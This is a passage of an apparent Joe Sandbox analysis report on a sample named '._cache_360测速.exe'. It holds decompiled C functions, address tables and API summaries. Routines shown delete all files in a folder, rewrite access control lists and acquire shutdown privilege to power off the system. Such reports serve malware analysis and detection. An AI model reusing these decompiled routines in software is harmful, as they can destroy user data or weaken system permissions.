				E00413DB0( &_v2684,  &_v2692,  &_v1564,  &_v524,  &_v1044);
				_t73 = _t72 + 0x14;
				_t65 = FindFirstFileW( &_v2684,  &_v2156);
				_t48 = 1;
				if(_t65 == 0xffffffff) {
					L9:
					FindClose(_t65);
					return _v2693;
				} else {
					while(_t48 == 1) {
						if((_v2156.dwFileAttributes & 0x00000010) != 0) {
							L6:
							if(FindNextFileW(_t65,  &_v2156) == 0) {
								_t48 = 0;
							}
							continue;
						} else {
							_v2693 = _t48;
							E00411691( &_v2684,  &_v2692);
							E00411663( &_v2684,  &_v1564);
							E00411663( &_v2684,  &(_v2156.cFileName));
							_t73 = _t73 + 0x18;
							if(DeleteFileW( &_v2684) != 1) {
								FindClose(_t65);
								return 0;
							} else {
								goto L6;
							}
						}
						goto L10;
					}
					goto L9;
				}
				L10:
			}




















                                                                                                                                                                            0x0044bf9c
                                                                                                                                                                            0x0044bfa2
                                                                                                                                                                            0x0044bfa7
                                                                                                                                                                            0x0044bfb1
                                                                                                                                                                            0x0044bfb6
                                                                                                                                                                            0x0044bfbb
                                                                                                                                                                            0x0044bfc7
                                                                                                                                                                            0x0044bfcc
                                                                                                                                                                            0x0044bfcc
                                                                                                                                                                            0x0044bff1
                                                                                                                                                                            0x0044bff6
                                                                                                                                                                            0x0044c00c
                                                                                                                                                                            0x0044c00e
                                                                                                                                                                            0x0044c013
                                                                                                                                                                            0x0044c094
                                                                                                                                                                            0x0044c095
                                                                                                                                                                            0x0044c0a4
                                                                                                                                                                            0x0044c015
                                                                                                                                                                            0x0044c015
                                                                                                                                                                            0x0044c022
                                                                                                                                                                            0x0044c06e
                                                                                                                                                                            0x0044c07f
                                                                                                                                                                            0x0044c081
                                                                                                                                                                            0x0044c081
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c024
                                                                                                                                                                            0x0044c02e
                                                                                                                                                                            0x0044c032
                                                                                                                                                                            0x0044c044
                                                                                                                                                                            0x0044c056
                                                                                                                                                                            0x0044c05b
                                                                                                                                                                            0x0044c06c
                                                                                                                                                                            0x0044c086
                                                                                                                                                                            0x0044c093
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c06c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c022
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044c015
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,?,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,004A8E80,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                              • Part of subcall function 00436AC4: GetFileAttributesW.KERNELBASE(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0044BFC7
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 0044BFF1
                                                                                                                                                                            • FindFirstFileW.KERNEL32(?,?), ref: 0044C006
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 0044C032
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0044C044
                                                                                                                                                                            • _wcscat.LIBCMT ref: 0044C056
                                                                                                                                                                            • DeleteFileW.KERNEL32(?), ref: 0044C063
                                                                                                                                                                            • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044C077
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 0044C086
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 0044C095
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileFind$_wcscat$Close$AttributesDeleteFirstFullNameNextPath__wsplitpath_wcscpy
                                                                                                                                                                            • String ID: \*.*
                                                                                                                                                                            • API String ID: 3771809977-1173974218
                                                                                                                                                                            • Opcode ID: 429c72fd8ce84cdae074230fe06e5095f65bdfd842ee2103364736c543792b33
                                                                                                                                                                            • Instruction ID: 9cf480aa196f294c1fa35a86eed1a807036e0773d071a08e0fc304530ec90260
                                                                                                                                                                            • Opcode Fuzzy Hash: 429c72fd8ce84cdae074230fe06e5095f65bdfd842ee2103364736c543792b33
                                                                                                                                                                            • Instruction Fuzzy Hash: D331D7724093049BC710DFA0D884ADFB7ECAB99314F084E1EF69982151EB39D24C87AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00445DD3(void* __eflags, void* _a4, void* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void _v12;
				int _v16;
				int _v20;
				char _v24;
				long _v28;
				struct _ACL* _v32;
				struct _ACL* _v36;
				void* _v40;
				struct _ACL* _v44;
				struct _ACL* _v48;
				void* __edi;
				struct _ACL* _t63;
				void* _t66;
				void _t77;
				void* _t83;
				void* _t84;
				void* _t103;
				signed short _t105;
				intOrPtr* _t107;
				struct _SECURITY_DESCRIPTOR* _t108;
				long _t109;
				void* _t110;
				struct _ACL* _t111;

				_t112 =  &_v44;
				_t83 = _a8;
				_t110 = 0;
				_t111 = 0;
				_a8 = 0;
				_v36 = 0;
				_v32 = 0;
				_v40 = 0;
				_v28 = 4;
				if(E004392BC(_a4,  &_v28,  &_v36,  &_v24) == 0 || E0043928B( &_v32, _v24) == 0) {
					L21:
					E00438FB6(_v36);
					E00438FB6(_v32);
					E00438FB6(_t111);
					E00438FB6(_t110);
					return _a8;
				} else {
					_v44 = 0;
					if(GetSecurityDescriptorDacl(_v36,  &_v20,  &_v44,  &_v16) == 0) {
						goto L21;
					}
					E004131F0(_t103,  &_v12, 0, 0xc);
					_t63 = _v44;
					_t112 =  &(( &_v44)[3]);
					_v8 = 8;
					if(_t63 == 0 || GetAclInformation(_t63,  &_v12, 0xc, 2) != 0) {
						_t24 = GetLengthSid(_t83) * 2; // 0x18
						_t66 = E00439256( &_v40, _v8 + _t24 + 0x10);
						_t111 = _v48;
						if(_t66 == 0) {
							goto L21;
						}
						if(_v20 == _t110) {
							L13:
							_t105 = GetLengthSid(_t83) + 8;
							_t110 = E00438FCF(_t105);
							_t112 =  &(_t112[1]);
							if(_t110 == 0) {
								goto L21;
							}
							_t35 = _t110 + 8; // 0x8
							 *(_t110 + 2) = _t105;
							if(CopySid(GetLengthSid(_t83), _t35, _t83) == 0) {
								goto L21;
							}
							_t84 = 0;
							_t107 = _a12 + 4;
							while(1) {
								 *_t110 =  *((intOrPtr*)(_t107 - 4));
								 *((char*)(_t110 + 1)) =  *((intOrPtr*)(_t107 - 3));
								 *((intOrPtr*)(_t110 + 4)) =  *_t107;
								if(AddAce(_t111, 2, 0xffffffff, _t110,  *(_t110 + 2) & 0x0000ffff) == 0) {
									goto L21;
								}
								_t84 = _t84 + 1;
								_t107 = _t107 + 0xc;
								if(_t84 < 1) {
									continue;
								}
								_t108 = _v32;
								if(SetSecurityDescriptorDacl(_t108, 1, _t111, 0) != 0 && SetUserObjectSecurity(_a4,  &_v28, _t108) != 0) {
									_a8 = 1;
								}
								goto L21;
							}
							goto L21;
						}
						_t77 = _v12;
						if(_t77 == _t110) {
							goto L13;
						}
						_t109 = 0;
						if(_t77 <= _t110) {
							goto L13;
						}
						while(GetAce(_v44, _t109,  &_v40) != 0 && AddAce(_t111, 2, 0xffffffff, _v40,  *(_v40 + 2) & 0x0000ffff) != 0) {
							_t109 = _t109 + 1;
							if(_t109 < _v12) {
								continue;
							}
							goto L13;
						}
					}
					goto L21;
				}
			}



























                                                                                                                                                                            0x00445dd3
                                                                                                                                                                            0x00445dd7
                                                                                                                                                                            0x00445df1
                                                                                                                                                                            0x00445df3
                                                                                                                                                                            0x00445df6
                                                                                                                                                                            0x00445dfb
                                                                                                                                                                            0x00445dff
                                                                                                                                                                            0x00445e03
                                                                                                                                                                            0x00445e07
                                                                                                                                                                            0x00445e16
                                                                                                                                                                            0x00445faf
                                                                                                                                                                            0x00445fb4
                                                                                                                                                                            0x00445fbe
                                                                                                                                                                            0x00445fc4
                                                                                                                                                                            0x00445fca
                                                                                                                                                                            0x00445fdd
                                                                                                                                                                            0x00445e33
                                                                                                                                                                            0x00445e47
                                                                                                                                                                            0x00445e53
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445e61
                                                                                                                                                                            0x00445e66
                                                                                                                                                                            0x00445e6a
                                                                                                                                                                            0x00445e6d
                                                                                                                                                                            0x00445e77
                                                                                                                                                                            0x00445e9c
                                                                                                                                                                            0x00445ea6
                                                                                                                                                                            0x00445eab
                                                                                                                                                                            0x00445eb1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445ebb
                                                                                                                                                                            0x00445f10
                                                                                                                                                                            0x00445f19
                                                                                                                                                                            0x00445f22
                                                                                                                                                                            0x00445f24
                                                                                                                                                                            0x00445f29
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445f30
                                                                                                                                                                            0x00445f35
                                                                                                                                                                            0x00445f48
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445f4e
                                                                                                                                                                            0x00445f50
                                                                                                                                                                            0x00445f53
                                                                                                                                                                            0x00445f5b
                                                                                                                                                                            0x00445f68
                                                                                                                                                                            0x00445f6b
                                                                                                                                                                            0x00445f76
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445f78
                                                                                                                                                                            0x00445f79
                                                                                                                                                                            0x00445f7f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445f81
                                                                                                                                                                            0x00445f93
                                                                                                                                                                            0x00445faa
                                                                                                                                                                            0x00445faa
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445f93
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445f53
                                                                                                                                                                            0x00445ebd
                                                                                                                                                                            0x00445ec3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445ec5
                                                                                                                                                                            0x00445ec9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445ed3
                                                                                                                                                                            0x00445f09
                                                                                                                                                                            0x00445f0e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445f0e
                                                                                                                                                                            0x00445ed3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445e77

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                                                                                              • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                                                                                              • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                                                                                              • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                                                                                            • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                                                                                                            • _memset.LIBCMT ref: 00445E61
                                                                                                                                                                            • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                                                                                                            • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                                                                                                            • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                                                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                                                                                                            • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                                                                                                            • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                                                                                                            • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                                                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                                                                                                            • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                                                                                                            • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3490752873-0
                                                                                                                                                                            • Opcode ID: d90d208e026f019221a7fede9d8e70b789478b0619571f3bd68bfaa723845334
                                                                                                                                                                            • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                                                                                                            • Opcode Fuzzy Hash: d90d208e026f019221a7fede9d8e70b789478b0619571f3bd68bfaa723845334
                                                                                                                                                                            • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 86%
                                                                                                                                                                            			E004364AA(int _a4, intOrPtr _a8) {
				intOrPtr _v4;
				struct _TOKEN_PRIVILEGES _v16;
				void* _v20;
				int _t27;
				int _t30;
				int _t32;

				_t30 = _a4;
				if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) == 0) {
					L2:
					return 0;
				} else {
					LookupPrivilegeValueW(0, L"SeShutdownPrivilege",  &(_v16.Privileges));
					_v16.PrivilegeCount = 1;
					_v4 = 2;
					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
					if(GetLastError() == 0) {
						if(_t30 == 0x20) {
							return SetSystemPowerState(1, 0);
						} else {
							if(_t30 == 0x40) {
								return SetSystemPowerState(0, 0);
							} else {
								if((_t30 & 0x0000000b) != 0) {
									_t32 = 0;
									if((_t30 & 0x00000014) != 0) {
										_t32 = 1;
									}
									_t27 = 0;
									if((_t30 & 0x00000002) != 0) {
										_t27 = 1;
									}
									return  *0x482030(0, 0, 0, _t32, _t27, _a8);
								} else {
									return ExitWindowsEx(_t30, 0);
								}
							}
						}
					} else {
						goto L2;
					}
				}
			}









                                                                                                                                                                            0x004364ae
                                                                                                                                                                            0x004364c8
                                                                                                                                                                            0x0043650e
                                                                                                                                                                            0x00436514
                                                                                                                                                                            0x004364ca
                                                                                                                                                                            0x004364d6
                                                                                                                                                                            0x004364ee
                                                                                                                                                                            0x004364f6
                                                                                                                                                                            0x004364fe
                                                                                                                                                                            0x0043650c
                                                                                                                                                                            0x00436518
                                                                                                                                                                            0x00436573
                                                                                                                                                                            0x0043651a
                                                                                                                                                                            0x0043651d
                                                                                                                                                                            0x00436581
                                                                                                                                                                            0x0043651f
                                                                                                                                                                            0x00436522
                                                                                                                                                                            0x00436532
                                                                                                                                                                            0x00436537
                                                                                                                                                                            0x00436539
                                                                                                                                                                            0x00436539
                                                                                                                                                                            0x0043653e
                                                                                                                                                                            0x00436543
                                                                                                                                                                            0x00436545
                                                                                                                                                                            0x00436545
                                                                                                                                                                            0x00436561
                                                                                                                                                                            0x00436524
                                                                                                                                                                            0x00436531
                                                                                                                                                                            0x00436531
                                                                                                                                                                            0x00436522
                                                                                                                                                                            0x0043651d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043650c

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                                                                                                            • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                                                                                                            • GetLastError.KERNEL32 ref: 00436504
                                                                                                                                                                            • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                                                                                                            • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                                                                                                            • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                                                                                                            • String ID: SeShutdownPrivilege
                                                                                                                                                                            • API String ID: 2938487562-3733053543
                                                                                                                                                                            • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                            • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                                                                                                            • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                                            • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 96%
                                                                                                                                                                            			E0043614F(void* __edx, void* __edi) {
				void* __esi;
				void* _t23;
				BYTE* _t32;
				intOrPtr _t34;
				signed char* _t39;
				int _t45;
				struct HRSRC__* _t55;
				long _t56;
				WCHAR* _t59;
				struct HINSTANCE__* _t60;
				void* _t62;
				void* _t65;
				void* _t66;

				_t59 =  *(_t65 + 0x28);
				E0041353A(__edx, __edi, _t59, _t65 + 8, L"%d", _t59);
				_t48 = _t65 + 0x20;
				E0041353A(_t65 + 0x20, __edi, _t59, _t65 + 0x20, L"%d",  *((intOrPtr*)(_t65 + 0x38)));
				_t23 = E004115D0(_t48, _t65 + 0x2c, _t65 + 0x1c);
				_t66 = _t65 + 0x20;
				if(_t23 == 0) {
					_t60 =  *(_t66 + 0x2c);
					_t62 = LockResource(LoadResource(_t60, FindResourceW(_t60, _t59, 0xe)));
					 *(_t66 + 0x2c) = 0;
					if(0 >=  *(_t62 + 4)) {
						L9:
						return 0;
					} else {
						_t10 = _t62 + 6; // 0x6
						_t39 = _t10;
						_push(__edi);
						while(1) {
							_t55 = FindResourceW(_t60, _t39[0xc] & 0x0000ffff, 3);
							 *((intOrPtr*)(_t66 + 0x40)) = LoadResource(_t60, _t55);
							_t56 = SizeofResource(_t60, _t55);
							_t32 = LockResource( *(_t66 + 0x38));
							_t45 =  *0x4972d8;
							if(( *_t39 & 0x000000ff) == _t45 && (_t39[1] & 0x000000ff) ==  *0x4972d4 && (_t39[6] & 0x0000ffff) ==  *0x4972d0) {
								break;
							}
							_t34 =  *((intOrPtr*)(_t66 + 0x34)) + 1;
							_t39 =  &(_t39[0xe]);
							 *((intOrPtr*)(_t66 + 0x34)) = _t34;
							if(_t34 < ( *(_t62 + 4) & 0x0000ffff)) {
								continue;
							} else {
								goto L9;
							}
							goto L11;
						}
						 *0x4972dc = CreateIconFromResourceEx(_t32, _t56, 1, 0x30000, _t45,  *0x4972d4, 0);
						return 0;
					}
				} else {
					return 1;
				}
				L11:
			}
















                                                                                                                                                                            0x00436153
                                                                                                                                                                            0x00436162
                                                                                                                                                                            0x0043616c
                                                                                                                                                                            0x00436176
                                                                                                                                                                            0x00436185
                                                                                                                                                                            0x0043618a
                                                                                                                                                                            0x0043618f
                                                                                                                                                                            0x004361a1
                                                                                                                                                                            0x004361bb
                                                                                                                                                                            0x004361bf
                                                                                                                                                                            0x004361cb
                                                                                                                                                                            0x0043623e
                                                                                                                                                                            0x00436245
                                                                                                                                                                            0x004361cd
                                                                                                                                                                            0x004361ce
                                                                                                                                                                            0x004361ce
                                                                                                                                                                            0x004361d1
                                                                                                                                                                            0x004361d2
                                                                                                                                                                            0x004361e0
                                                                                                                                                                            0x004361ec
                                                                                                                                                                            0x004361fb
                                                                                                                                                                            0x004361fd
                                                                                                                                                                            0x00436206
                                                                                                                                                                            0x0043620e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00436230
                                                                                                                                                                            0x00436231
                                                                                                                                                                            0x00436234
                                                                                                                                                                            0x0043623a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043623c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043623d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043623a
                                                                                                                                                                            0x00436264
                                                                                                                                                                            0x0043626f
                                                                                                                                                                            0x0043626f
                                                                                                                                                                            0x00436191
                                                                                                                                                                            0x0043619a
                                                                                                                                                                            0x0043619a
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00436162
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00436176
                                                                                                                                                                              • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00436185
                                                                                                                                                                            • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                                                                                                            • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                                                                                                            • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                                                                                                            • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                                                                                                            • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                                                                                                            • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                                                                                                            • LockResource.KERNEL32(?), ref: 004361FD
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2406429042-0
                                                                                                                                                                            • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                            • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                                                                                                            • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                                            • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046F50B Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 157nativewindowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 70%
                                                                                                                                                                            			E0046F50B(intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v48;
				signed int _v52;
				intOrPtr _v56;
				signed int _v60;
				void* _v64;
				void* _v68;
				char _v72;
				void* _v76;
				void* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t44;
				signed int _t45;
				int _t52;
				intOrPtr _t56;
				struct HWND__** _t57;
				intOrPtr _t61;
				intOrPtr _t62;
				signed short _t84;
				struct HWND__* _t85;
				intOrPtr _t89;
				signed int _t90;
				signed int _t92;
				int _t94;
				intOrPtr _t107;
				signed int _t117;
				intOrPtr _t123;
				WCHAR* _t125;
				signed int _t131;
				void* _t133;
				void* _t134;

				_t133 = (_t131 & 0xfffffff8) - 0x2c;
				_t123 = _a4;
				_t45 = E004340B2(_t44, 0x4a83d8, _t123);
				_t89 =  *0x4a8438; // 0x0
				_v52 = _t45;
				E00456354(0x4a83d8,  *((intOrPtr*)( *((intOrPtr*)(_t89 + _t45 * 4)))), 1);
				if(_a20 == 0) {
					__eflags =  *0x4a8488;
					if( *0x4a8488 == 0) {
						L11:
						_t90 = _a12 & 0x0000ffff;
					} else {
						 *0x48209c(0);
						 *0x4820a0();
						_t52 = ReleaseCapture();
						_t84 = _a12;
						_push(_t84);
						_push(_a8);
						_push( &_v48);
						_t117 = E00441CB4(_t52);
						__eflags = _t117 - 0xffffffff;
						if(_t117 == 0xffffffff) {
							L13:
							_t90 = _t84 & 0x0000ffff;
						} else {
							_t94 =  *0x4a8488; // 0x0
							__eflags = _t117 - _t94;
							if(_t117 == _t94) {
								goto L13;
							} else {
								_t107 =  *0x4a8438; // 0x0
								_t56 =  *0x4a844c; // 0x2f019d0
